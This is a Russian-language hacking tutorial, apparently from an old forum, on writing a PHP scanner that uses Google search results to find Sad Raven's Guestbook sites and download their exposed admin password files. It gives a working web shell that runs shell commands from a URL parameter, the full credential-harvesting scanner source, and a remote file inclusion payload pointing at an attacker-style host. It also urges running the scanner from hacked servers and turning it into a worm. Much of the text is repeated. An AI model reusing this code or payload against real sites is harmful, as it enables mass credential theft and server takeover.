Здравствуйте, я хочу Вам рассказать, как можно самому сделать гугл-сканнер на php. Написать эту статью я решил потому, что не видел в нете ничего подобного.
Если кто видел что-нибудь похожее, сообщите об этом мне.
"Почему именно на php?", - спросите Вы. Да потому что этот скрипт можно
будет залить на любой взломанный сервак и выполнить там. Да и вообще я считаю,
что будущее за php.
Во-первых, давайте разберемся, что конкретно мы хотим сделать.
1) из результатов поиска (бажного скрипта, например) нам нужно выдрать все ссылки
и записать их в файл/ вывести на экран (хотя бы в целях отладки);
2) затем нам нужно качественно отфильтровать левые ссылки - это, на мой взгляд,
самое сложное;
3) далее нужно пройтись по каждой отфильтрованной ссылке по отдельности и
попробовать применить эксплоит;
4) если он сработал, то пишем это это в лог.
В качестве скрипта для своих экспериментов я взял Sad Raven's Guestbook. В
самой гостевой книге багов мною найдено не было, но проблема в том, что админские
логин и md5-хэш пароля она хранит в файле "passwd.dat" и достаточно часто к нему
забывают запретить доступ. А через админ. центр в разделе "дизайн" можно сделать
себе простенький веб-шелл вроде этого:
Ну что ж, приступим =)
=======begin PhpGoogleScanner.php source code=======
=======end of PhpGoogleScanner.php source code=======
Эксплоит для скриптов с include-багом мог бы выглядеть следующим образом:
buggy_script.php?page=http://www.evilcode.org/c.txt?c=pwd;id;other_commands_here
Конечно это сработает только при allow_url_fopen = 1.
Также можно подправить сканнер, чтобы он искал и эксплуатировал уязвимости типа sql-injection.
А если очень постараться, то доработав этот исходник можно сделать и какого-нибудь злого червя >=)
В общем много чего еще можно придумать, лишь бы фантазии и знаний хватило.
Пока это все, удачи.
SAD ICQ: icq 2257763
Если кто видел что-нибудь похожее, сообщите об этом мне.
"Почему именно на php?", - спросите Вы. Да потому что этот скрипт можно
будет залить на любой взломанный сервак и выполнить там. Да и вообще я считаю,
что будущее за php.
Во-первых, давайте разберемся, что конкретно мы хотим сделать.
1) из результатов поиска (бажного скрипта, например) нам нужно выдрать все ссылки
и записать их в файл/ вывести на экран (хотя бы в целях отладки);
2) затем нам нужно качественно отфильтровать левые ссылки - это, на мой взгляд,
самое сложное;
3) далее нужно пройтись по каждой отфильтрованной ссылке по отдельности и
попробовать применить эксплоит;
4) если он сработал, то пишем это это в лог.
В качестве скрипта для своих экспериментов я взял Sad Raven's Guestbook. В
самой гостевой книге багов мною найдено не было, но проблема в том, что админские
логин и md5-хэш пароля она хранит в файле "passwd.dat" и достаточно часто к нему
забывают запретить доступ. А через админ. центр в разделе "дизайн" можно сделать
себе простенький веб-шелл вроде этого:
Код:
<?php
if (isset($_GET['c'])) // это чтобы не было вывода warning, когда нет команды
{
echo "<pre>\r\n";
system($_GET['c']);
echo "</pre>\r\n";
}
?>
Ну что ж, приступим =)
=======begin PhpGoogleScanner.php source code=======
Код:
<html>
<META HTTP-EQUIV=Content-Type CONTENT=text/html; charset='windows-1251'>
<title>PhpGoogleScanner v0.8 Ready</title>
<body bgcolor="gray">
<pre><font face="Fixedsys">
<?php
// PhpGoogleScanner v0.8 by Sad icq 2257763
// Gr33tz 2 dinggo, virus & all ex-USSR undergr00nd
if (isset($_GET['host'])) $host = $_GET['host'];
else $host = 'www.google.com'; // поисковый сервер
if (isset($_GET['path'])) $path = $_GET['path'];
else $path = '/'; // путь к скрипту поиска
if (isset($_GET['script_name'])) $script_name = $_GET['script_name'];
else $script_name = 'index.php'; // имя файла бажного скрипта
if (isset($_GET['query'])) $query = $_GET['query'];
else $query = 'search?q=allintitle:s+r+guestbook+v1.3&num=100&hl=en'; // запрос
$SPLOIT_STRING = 'passwd.dat'; // самое главное - эксплоит
function grab_links($host, $path, $html_source) // эта функция выдирает все ссылки
{
global $log, $links;
$log = fopen("goodebug.txt", "ab+"); // откроем файл для записи логов
// Регулярное выражение для поиска всех ссылок
preg_match_all("#<a.*?href=\"?'?([^\s\"'>]+)\"?'?.*?>(.*?)</a>#is", $html_source, $links);
for ($i=0; $i<count($links[1]); $i++)
{
// сделаем из относительных ссылок абсолютные
if (strpos($links[1][$i],"http") === false) $links[1][$i] = 'http://'.$host.$path.$links[1][$i];
echo $links[1][$i]."\r\n";
fputs($log, $links[1][$i]."\r\n"); // пишем все нефильтрованные ссылки в лог - на всякий случай, а вдруг у нас фильтр через жопу написан? =)
}
echo "\r\n";
}
$socket = fsockopen($host, 80); // коннектимся...
if (!$socket)
{
echo "Unable to connect to target server <b>\"$host\"</b>\r\n";
die("Socket Error =("); // коннекта нету =(
}
else
{ // формируем GET запрос к веб-серверу
$GET_query =
"GET ".$path.$query." HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en\r\n".
"User-Agent: Sad Internet Spider v1.0\r\n".
"Host: $host\r\n".
"Connection: Close\r\n\r\n";
fputs($socket, $GET_query);
while (!feof($socket))
{
$html_source .= fgets($socket, 256); // получаем данные из сокета
}
grab_links($host, $path, $html_source); // выдираем ссылки
for ($i=0; $i<count($links[1]); $i++) // проходим все ссылки и обрабатываем их
{
if ((strpos($links[1][$i],"search") === false) && (strpos($links[1][$i], 'google') === false))
{ // фильтруем левые ссылки
$good_link = substr($links[1][$i], 0, strpos($links[1][$i], $script_name));
if ($good_link)
{ // нашли "хорошую" ссылку
fputs($log, "Good link: ".$good_link."\r\n"); // запишем-ка мы ее в лог
$file = @fopen($good_link.$SPLOIT_STRING, "rb"); // пытаемся слить файл
if (!$file) fputs($log, "Cannot open file: ".$good_link.$SPLOIT_STRING."\r\n"); // облом =(
else
{ // успешно открыли файл
fputs($log, "File ".$good_link.$SPLOIT_STRING." successfully opened.\r\n");
while (!feof($file))
{
$result .= fgets($file, 256); // долгожданный результат =)
}
if (strpos($result, 'Password') === false) // если пассов нет
{
echo "\r\nСкорее всего по адресу ".$good_link.$SPLOIT_STRING." пассов нет =(\r\n";
unset($result);
}
else
{ // если все путем
echo "\r\nFile from ".$good_link.":\r\n".htmlspecialchars($result)."\r\n";
fputs(fopen("goolog.txt", "ab+"), "\r\nFile from ".$good_link.":\r\n".$result."\r\n");
unset($result);
}
} // обработали файл
} // конец обработки "хорошей" ссылки
} // конец фильтра левых ссылок
} // конец обработки всех ссылок
}
?>
</font></pre></body></html>
Эксплоит для скриптов с include-багом мог бы выглядеть следующим образом:
buggy_script.php?page=http://www.evilcode.org/c.txt?c=pwd;id;other_commands_here
Конечно это сработает только при allow_url_fopen = 1.
Также можно подправить сканнер, чтобы он искал и эксплуатировал уязвимости типа sql-injection.
А если очень постараться, то доработав этот исходник можно сделать и какого-нибудь злого червя >=)
В общем много чего еще можно придумать, лишь бы фантазии и знаний хватило.
Пока это все, удачи.
SAD ICQ: icq 2257763